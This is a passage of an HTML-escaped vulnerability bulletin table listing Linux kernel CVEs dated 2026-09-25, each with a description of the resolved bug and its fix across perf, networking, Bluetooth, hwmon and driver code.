&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97959&quot; target=&quot;_blank&quot;&gt;CVE-2026-97959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Prevent drain_pebs() reentry The PEBS buffer is shared by all events on a CPU, so drain_pebs() must not be reentered. If so, one instance may observe stale buffer state and potentially access out-of-bound memory. Most invocations happen in NMI context, which naturally prevents reentry. However, drain_pebs() is also reachable from process context via intel_pmu_drain_pebs_buffer(). In those paths, the PMU is often already disabled, but not guaranteed. For example, __intel_pmu_pebs_disable() only disables the target counter, so other active counters can still raise a PMI and interrupt an in-flight drain_pebs(). Here is an example, __perf_addr_filters_adjust() perf_event_stop() __perf_event_stop() x86_pmu_stop() (event-&amp;gt;pmu-&amp;gt;stop) intel_pmu_disable_event() intel_pmu_pebs_disable() __intel_pmu_pebs_disable() intel_pmu_drain_large_pebs() intel_pmu_drain_pebs_buffer() Introduce __intel_pmu_quiesce() and __intel_pmu_resume() helpers and use them in intel_pmu_drain_large_pebs() to disable the full PMU around the intel_pmu_drain_pebs_buffer() call, preventing reentry. Also add a warning in intel_pmu_drain_pebs_buffer() when the full PMU is not disabled.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97960&quot; target=&quot;_blank&quot;&gt;CVE-2026-97960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf/core: Allow list_del during perf_event_overflow() A PMU might use perf_sched_cb_inc() and perf_sched_cb_dec() interface to get the PMU call back function pmu::sched_task invoked at schedule in and schedule out. This is achieved by walking along the list anchored by sched_cb_list. The following scenario might lead to a list corruption. perf_pmu_sched_task() for_each_list_entry(..., &amp;amp;sched_cb_list) +--&amp;gt; __perf_pmu_sched_task() +--&amp;gt; event-&amp;gt;pmu-&amp;gt;sched_task()) +--&amp;gt; PMU_push_sample() +--&amp;gt; perf_event_overflow() +--&amp;gt; __perf_event_overflow() +--&amp;gt; pmu-&amp;gt;stop() +--&amp;gt; perf_sched_cb_dec() remove entry from sched_cb_list while list node in use. This happens when ioctl(fd, PERF_EVENT_IOC_REFRESH, xxx) has been invoked and perf_event::event_limit hits zero. Prevent the list corruption and convert for_each_list_entry() to for_each_list_entry_safe().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97961&quot; target=&quot;_blank&quot;&gt;CVE-2026-97961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/mlx5e: Move representor vnic reporter to eswitch devlink port The representor vnic devlink health reporter is created and destroyed along the representor netdev (un)load path, which is not serialized by the devlink instance lock. Destroying the reporter from there triggers a devl_assert_locked() splat on driver unbind: WARNING: net/devlink/core.c:259 at devl_assert_locked+0x54/0x70, CPU#2: bash/3758 Modules linked in: mlx5_vdpa vringh vdpa mlx5_ib mlx5_fwctl mlx5_core ... CPU: 2 UID: 0 PID: 3758 Comm: bash Tainted: G W 6.19.0+ #1 PREEMPT Tainted: [W]=WARN Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), ... RIP: 0010:devl_assert_locked+0x54/0x70 Call Trace: &amp;lt;TASK&amp;gt; devl_health_reporter_destroy+0x3a/0x1b0 mlx5e_vport_rep_unload+0x12d/0x2b0 [mlx5_core] mlx5_eswitch_unregister_vport_reps+0x1b8/0x220 [mlx5_core] ? __esw_offloads_unload_rep+0x190/0x190 [mlx5_core] ? kernfs_remove_by_name_ns+0xc3/0xf0 device_release_driver_internal+0x3b2/0x560 unbind_store+0xce/0xf0 Move the reporter&#039;s lifecycle to the eswitch devlink port (un)register paths, which are already serialized by the devlink instance lock, and store the handle on mlx5_devlink_port. Use the port&#039;s mlx5_vport as the reporter priv since the diagnose callback only needs a device handle and a vport number, and mlx5_vport carries both and is initialized before any representor driver probes.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97962&quot; target=&quot;_blank&quot;&gt;CVE-2026-97962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: stmmac: initialize ptp_lock at probe time priv-&amp;gt;ptp_lock is only initialized in stmmac_ptp_register(), which runs during __stmmac_open(). However, the lock is also used while the interface is down and has never been opened: tc_taprio_configure() invokes the PTP gettime64() callback to compute the EST base time when offloading a TAPRIO schedule, and stmmac_get_time() takes priv-&amp;gt;ptp_lock. Using an uninitialized rwlock is undefined behaviour. Move the rwlock_init() to __stmmac_dvr_probe(), together with the other private locks, so that ptp_lock is always valid regardless of the interface state.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97963&quot; target=&quot;_blank&quot;&gt;CVE-2026-97963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ppp_synctty: ensure a writeable skb header ppp_sync_txmunge() checks headroom before prepending the address and control bytes, but does not ensure that the skb header is writable. A received skb can reach this function through PPP channel bridging without passing through ppp_start_xmit(), which calls skb_cow_head(). For example, a PPPoE frame may share its buffer with a clone queued to an AF_PACKET socket. If it is bridged to a synchronous tty channel, the address/control bytes can overwrite data still visible to that socket. Use skb_cow_head() to ensure both sufficient headroom and a writable header.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97964&quot; target=&quot;_blank&quot;&gt;CVE-2026-97964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vxlan: initialize _md in vxlan_xmit_one() If a VXLAN device is configured with both VXLAN_F_COLLECT_METADATA and VXLAN_F_GBP, and a packet is transmitted through it using an external ip_tunnel_info that lacks the IP_TUNNEL_VXLAN_OPT_BIT flag, md is left pointing to the uninitialized _md stack variable: if (test_bit(IP_TUNNEL_VXLAN_OPT_BIT, info-&amp;gt;key.tun_flags)) { if (info-&amp;gt;options_len &amp;lt; sizeof(*md)) goto drop; md = ip_tunnel_info_opts(info); } Because IP_TUNNEL_VXLAN_OPT_BIT is not set, md is not updated and remains pointing to _md. Later, vxlan_build_skb() is called with md, which eventually calls vxlan_build_gbp_hdr(): if (vxflags &amp;amp; VXLAN_F_GBP) vxlan_build_gbp_hdr(vxh, md); Inside vxlan_build_gbp_hdr(), md-&amp;gt;gbp is read: if (!md-&amp;gt;gbp) return; gbp = (struct vxlanhdr_gbp *)vxh; ... if (md-&amp;gt;gbp &amp;amp; VXLAN_GBP_DONT_LEARN) gbp-&amp;gt;dont_learn = 1; If the stack contains garbage, this causes: 1) VXLAN_HF_GBP flag to be spuriously set in the VXLAN header. 2) gbp-&amp;gt;dont_learn and gbp-&amp;gt;policy_applied to be set from stack bits. 3) gbp-&amp;gt;policy_id to receive 16 bits of uninitialized kernel stack data, leaking it onto the wire. Fix this by zero-initializing _md. If IP_TUNNEL_VXLAN_OPT_BIT is not present, md-&amp;gt;gbp remains 0, and vxlan_build_gbp_hdr() returns early without modifying the VXLAN header.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97965&quot; target=&quot;_blank&quot;&gt;CVE-2026-97965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: reset HTB scheduler topology before freeing queues HTB offload programs NIX_AF_TLxX_TOPOLOGY on QoS-allocated scheduler queues via otx2_qos_txschq_set_parent_topology(), but teardown freed those queues without clearing TOPOLOGY. The AF only restores PARENT and SCHEDULE on free, so PRIO_ANCHOR/RR_PRIO settings can survive in the shared scheduler pool and affect later allocations. Add otx2_qos_reset_schq_topology() and otx2_qos_free_hw_schq() to zero TL4 through TL2 TOPOLOGY before each schq is returned to the AF during hierarchy teardown and cfg rollback. Skip the aggregation level (TL1): it is a per-tx-link queue shared by the PF, default Tx hierarchy and VFs, and is not freed back to the AF by nix_txschq_free_one().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97966&quot; target=&quot;_blank&quot;&gt;CVE-2026-97966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: (corsair-cpro) Remove debugfs entries when probe fails ccp_debugfs_init() registers debugfs files whose private data is the devm allocated ccp. If hwmon_device_register_with_info() fails right after it, ccp_probe() returns without removing them: the HID core then frees ccp, and ccp_remove() is not called for a failed probe, so the files stay behind. Reading one of them dereferences the freed pointer. Remove the debugfs entries on that error path. debugfs_remove_recursive() waits for readers already inside the show callbacks, so ccp is no longer reachable through debugfs by the time probe returns.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97967&quot; target=&quot;_blank&quot;&gt;CVE-2026-97967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: (corsair-cpro) Create debugfs entries after hwmon registration ccp_debugfs_init() registers debugfs files whose private data is the devm allocated ccp. It runs before hwmon_device_register_with_info(), so when that registration fails, ccp_probe() returns with the files still in place. The HID core then frees ccp, and ccp_remove() is not called for a failed probe, so nothing removes them later either. Reading one of the files dereferences the freed pointer. Create the debugfs entries only after the hwmon device has been registered, so no failing path can leave them behind. The two version queries stay where they are. They send USB commands without holding ccp-&amp;gt;mutex, which is only safe as long as nothing else can call send_usb_cmd(); once the hwmon device is registered its callbacks can do so concurrently. Only the debugfs creation moves, and it is told which queries succeeded.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97968&quot; target=&quot;_blank&quot;&gt;CVE-2026-97968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: watchdog: msc313e: Fix clock leak and spurious timer in settimeout() msc313e_wdt_settimeout() unconditionally calls msc313e_wdt_start() which introduces two severe bugs: 1. If the watchdog is already active, calling start() again will increase the reference count of the clock again. However stop() is only called once, the reference count is unbalance. 2. If the watchdog is stopped, calling settimeout() will start the hardware timer accidentally. Factor out the register-writing logic into a helper function. Only call it in settimeout() if the watchdog is running. Otherwise, simply update `wdev-&amp;gt;timeout`.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97969&quot; target=&quot;_blank&quot;&gt;CVE-2026-97969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: watchdog: msc313e: Avoid division by zero clk_get_rate() could return 0. Avoid a division by zero panic.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97970&quot; target=&quot;_blank&quot;&gt;CVE-2026-97970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: macb: put the &quot;mdio&quot; child node reference on success macb_mii_init() holds the reference returned by of_get_child_by_name() for macb_mdiobus_register() and drops it only on the error paths, so every successful probe leaks a node reference. On a CM5, overlay removal after four bind cycles reports OF: ERROR: memory leak, expected refcount 1 instead of 5 Drop the reference after registration, where __mdiobus_register() has already taken its own for the lifetime of the bus.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97972&quot; target=&quot;_blank&quot;&gt;CVE-2026-97972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: macb: destroy the phylink instance on the probe error path macb_mii_init() creates a phylink instance on both of its success paths, but the probe unwind frees the netdev without destroying it, so a failing macb_alloc_tieoff() or register_netdev() leaks the instance. Destroy it at err_out_unregister_mdio, which is only reachable once macb_mii_init() has succeeded, so bp-&amp;gt;phylink is valid there.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97973&quot; target=&quot;_blank&quot;&gt;CVE-2026-97973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: null-check fib6_node before accessing in __ip6_del_rt_siblings() syzbot reported a null-ptr-deref in __ip6_del_rt_siblings() [0]. The stack trace hinted towards a null dereference of rt-&amp;gt;fib6_node when fn-&amp;gt;leaf is accessed in __ip6_del_rt_siblings(). With RTNL_FLAG_DOIT_UNLOCKED set, inet6_rtm_delroute() operations run concurrently without acquiring the RTNL lock. In ip6_route_del(), the route lookup happens under rcu_read_lock() without acquiring table-&amp;gt;tb6_lock. Between ip6_route_del() looking up the route and __ip6_del_rt_siblings() acquiring table-&amp;gt;tb6_lock, another thread can modify the routing table. For example, when an ECMP route is replaced via RTM_NEWROUTE with NLM_F_REPLACE, fib6_add_rt2node() unlinks all old siblings and sets iter-&amp;gt;fib6_node = NULL. A reproducer was found that triggers this [1]. Add a check to ensure rt-&amp;gt;fib6_node is non-null before accessing it. [0] KASAN: null-ptr-deref in range [0x0000000000000020-0x0000000000000027] RIP: 0010:__ip6_del_rt_siblings+0x31e/0x7c0 net/ipv6/route.c:4056 Call Trace: &amp;lt;TASK&amp;gt; ip6_route_del+0x1054/0x1110 net/ipv6/route.c:4232 inet6_rtm_delroute+0x5d7/0x6d0 net/ipv6/route.c:5669 rtnetlink_rcv_msg+0x802/0xc00 net/core/rtnetlink.c:7132 netlink_rcv_skb+0x226/0x4a0 net/netlink/af_netlink.c:2556 netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline] netlink_unicast+0x7f5/0x990 net/netlink/af_netlink.c:1345 netlink_sendmsg+0x813/0xb40 net/netlink/af_netlink.c:1900 sock_sendmsg_nosec+0x13a/0x180 net/socket.c:800 __sock_sendmsg net/socket.c:815 [inline] ____sys_sendmsg+0x565/0x870 net/socket.c:2713 ___sys_sendmsg+0x2a5/0x360 net/socket.c:2767 __sys_sendmsg net/socket.c:2799 [inline] __do_sys_sendmsg net/socket.c:2804 [inline] __se_sys_sendmsg net/socket.c:2802 [inline] __x64_sys_sendmsg+0x1b7/0x290 net/socket.c:2802 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe+0x77/0x7f &amp;lt;/TASK&amp;gt; [1] https://gist.github.com/NamanGulati/0766a1159b6ca61928faaf87425ff899&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97974&quot; target=&quot;_blank&quot;&gt;CVE-2026-97974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_sysfs: Fix NULL pointer dereference in device_del() A NULL pointer dereference in klist_put() occurs when a child device (such as a BNEP network device in bnep_session) is concurrently being unregistered while hci_conn_del_sysfs() reparents child devices. This is caused by a race condition between hci_conn_del_sysfs() and concurrent child device unregistration (e.g. bnep_session calling unregister_netdev()). During device unregistration, device_del() snapshots a non-NULL parent pointer. Concurrently, hci_conn_del_sysfs() finds the child device using device_find_any_child() and calls device_move() to reparent it to NULL, which removes the node from its parent&#039;s klist and clears knode_parent. Subsequently, device_del() calls klist_del(&amp;amp;dev-&amp;gt;p-&amp;gt;knode_parent) using the stale parent snapshot, causing klist_put() to dereference knode_klist(n)-&amp;gt;put on an already removed node, resulting in a NULL pointer dereference. This race was introduced by commit 27aabf27fd01 (&quot;Bluetooth: fix use-after-free in device_for_each_child()&quot;), which replaced device_find_child(..., __match_tty) with device_find_any_child() in hci_conn_del_sysfs(). That change was intended to avoid a use-after-free where conn-&amp;gt;dev outlived its parent hdev-&amp;gt;dev when child devices held references to conn-&amp;gt;dev, because conn-&amp;gt;dev only held a reference to hdev-&amp;gt;dev while registered in sysfs. Fix the issue properly by taking an explicit reference to the parent device with get_device(&amp;amp;hdev-&amp;gt;dev) in hci_conn_init_sysfs() and dropping it with put_device(parent) in bt_link_release() when the conn device is freed. This ensures that hdev-&amp;gt;dev remains valid for the entire lifecycle of conn-&amp;gt;dev, resolving the underlying use-after-free. With the parent reference held properly, restore the __match_tty filter in hci_conn_del_sysfs() so that device_move() is only invoked on persistent RFCOMM TTY devices as originally intended, eliminating the race condition with unregistering network devices.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97975&quot; target=&quot;_blank&quot;&gt;CVE-2026-97975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btintel_pcie: validate packet_len before skb_put_data btintel_pcie_submit_rx_work() reads packet_len from rfh_hdr without checking if it exceeds the RX buffer size. An oversized packet_len can lead to an out-of-bounds read in skb_put_data(). Validate packet_len to ensure it is non-zero and does not exceed BTINTEL_PCIE_BUFFER_SIZE - sizeof(*rfh_hdr), logging an error when invalid. This issue was reported by Claude Mythos. It can be simulated either by using customized firmware configured to return an invalid packet_len or by modifying rfh_hdr-&amp;gt;packet_len in the driver before calling btintel_pcie_submit_rx_work().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97976&quot; target=&quot;_blank&quot;&gt;CVE-2026-97976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btusb: Fix UAF of btusb_data by rx_work btusb_close() and btusb_flush() cancel data-&amp;gt;rx_work with the asynchronous cancel_delayed_work(), so if btusb_rx_work() is already running on another CPU it keeps running after the cancel returns. btusb_disconnect() calls hci_unregister_dev(), which invokes btusb_close(), and then frees the btusb_data. A still running btusb_rx_work() then dereferences the freed data: while ((skb = skb_dequeue(&amp;amp;data-&amp;gt;acl_q))) data-&amp;gt;recv_acl(data-&amp;gt;hdev, skb); Use cancel_delayed_work_sync() instead. In btusb_close() the cancel also has to happen after btusb_stop_traffic(), otherwise an URB completion racing with the cancel can requeue the work right after it has been waited for.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97977&quot; target=&quot;_blank&quot;&gt;CVE-2026-97977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: eth: ice: don&#039;t dereference pointers from TP_printk() After forwarding net-next during the v7.3 merge window we started seeing: TRACE EVENT ERROR: Event ice_tx_dim_work has double dereference in TP_printk: REC-&amp;gt;q_vector-&amp;gt;tx.tx_ring-&amp;gt;q_index WARNING: kernel/trace/trace_events.c:420 at test_double_dereference.cold+0x39/0x4b this is due to extra checks added in tracing subsystem in commit b5cc230af5e5 (&quot;tracing: Warn when an event dereferences a pointer in TP_printk()&quot;). Printing happens long after the event was recorded, by which point the pointers may be invalid (the ring or the dim instance). Copy the eight scalars into the event instead.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97978&quot; target=&quot;_blank&quot;&gt;CVE-2026-97978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ice: add missing xa_destroy for sched_node_ids Commit 16dfa49406bc (&quot;ice: Introduce new parameters in ice_sched_node&quot;) added a sched_node_ids xarray to the port info structure, but never called xa_destroy on it. Since xarrays can allocate internal memory, this can result in a memory leak even if every element in the xarray has been removed. The xarray is currently embedded in the port_info structure. This appears to have been done because its use is within functions that take the port_info as a primary argument. However, this complicates managing the lifecycle of the field. The port_info structure is allocated in ice_init_hw() using devm, and it is not released until the devm cleanup when the driver is unloaded. The ice_init_hw() function is called in many places, including devlink reload, and possibly during DDP load after updating the Tx scheduler layout. Adding a call of xa_destroy to the ice_deinit_hw() causes Sashiko to raise multiple concerns due to potential ordering issues and possible ways that port_info could be a dangling reference. To handle this, move the sched_node_ids out of port_info and into the hw structure. All users of the array already have a pointer to hw anyways, and there is only one sched_node_ids per adapter. While here, remove the overly verbose comment explaining the nature of the sched_node_ids xarray. Add the missing xa_destroy to the cleanup path and to ice_deinit_hw(), ensuring that we properly release the xarray memory. This was caught by Sashiko during development of unrelated code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97979&quot; target=&quot;_blank&quot;&gt;CVE-2026-97979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/debug: Fix NULL pointer dereference in debug_set_level() Commit a2cec6863709 (&quot;s390/debug: Add s390dbf kernel parameter&quot;) incorrectly removed a null-id check from debug_set_level(), introducing a possible NULL pointer dereference for debug-API users that put debug_register() results unchecked into debug_set_level(). Fix this by moving the check from the internal _debug_set_level() variant back to the external debug_set_level() wrapper.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97980&quot; target=&quot;_blank&quot;&gt;CVE-2026-97980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ethernet: cortina: Count dropped frames as NAPI work The RX loop only consumes budget when it successfully delivers a frame. Error paths keep consuming descriptors without reducing the budget, so a stream of bad frames can process the entire receive ring in one poll. Move the budget accounting to a common end-of-frame path. This counts each completed frame as NAPI work whether it was delivered or dropped, matching the behavior of the vendor driver.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97981&quot; target=&quot;_blank&quot;&gt;CVE-2026-97981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ethernet: cortina: Fix budget accounting The gmac_rx() function returns the remaining NAPI budget, but its caller treats the return value as the number of packets received. An idle poll therefore reports a full budget and remains scheduled. Return the number of received packets instead. Preserve the existing free queue refill accounting by adding that count directly; continuing to subtract it from the budget would invert the refill behavior.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97982&quot; target=&quot;_blank&quot;&gt;CVE-2026-97982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vduse: return compat ioctl results directly The compat handler handles VDUSE_IOTLB_GET_FD and VDUSE_VQ_GET_INFO, but then calls the native handler. Their different command sizes make native dispatch return -ENOIOCTLCMD. For GET_FD, this overwrites receive_fd()&#039;s return value after the descriptor is installed, leaking one fd per call. Return handled compat results directly and use native dispatch only for other commands.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97983&quot; target=&quot;_blank&quot;&gt;CVE-2026-97983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ipv6: Fix UDP length overflow with PMTU discover and big MTU This commit bounds cork-&amp;gt;base.fragsize to IP6_MAX_MTU for UDP sockets to avoid a possible overflow of UDP length that triggers a WARN in udp_set_len_short when setsockopt IPV6_MTU_DISCOVER is set to IPV6_PMTUDISC_DO or IPV6_PMTUDISC_PROBE, and a large packet is sent over a netdev with an unusually large MTU. Steps to reproduce (included in the new selftest): 1. Set device MTU bigger than IP6_MAX_MTU. cork-&amp;gt;base.fragsize will be set to that MTU in ip6_setup_cork. 2. Set IPV6_MTU_DISCOVER to IPV6_PMTUDISC_PROBE or IPV6_PMTUDISC_DO. It lets maxnonfragsize be set to device MTU (cork-&amp;gt;fragsize) in __ip6_append_data, rather than to IP6_MAX_MTU. 3. Send 65528 bytes of payload (+8 bytes of UDP header, +40 bytes of IPv6 header). Device MTU allows it (it&#039;s only one byte bigger than IP6_MAX_MTU, and the device MTU is bigger than that). 4. The UDP length in the built packet is 65536, which overflows the 16-bit length field and triggers the WARN in udp_set_len_short. To avoid breaking sending UDP jumbograms over raw IPv6 sockets, limit the change to UDP sockets only. The original overflow bug with IPv6 and IPV6_PMTUDISC_DO seems to predate git history (verified reproduction on 2.6.21), was fixed later, and then reappeared in commit 427faee167bc (&quot;net: ipv6: introduce 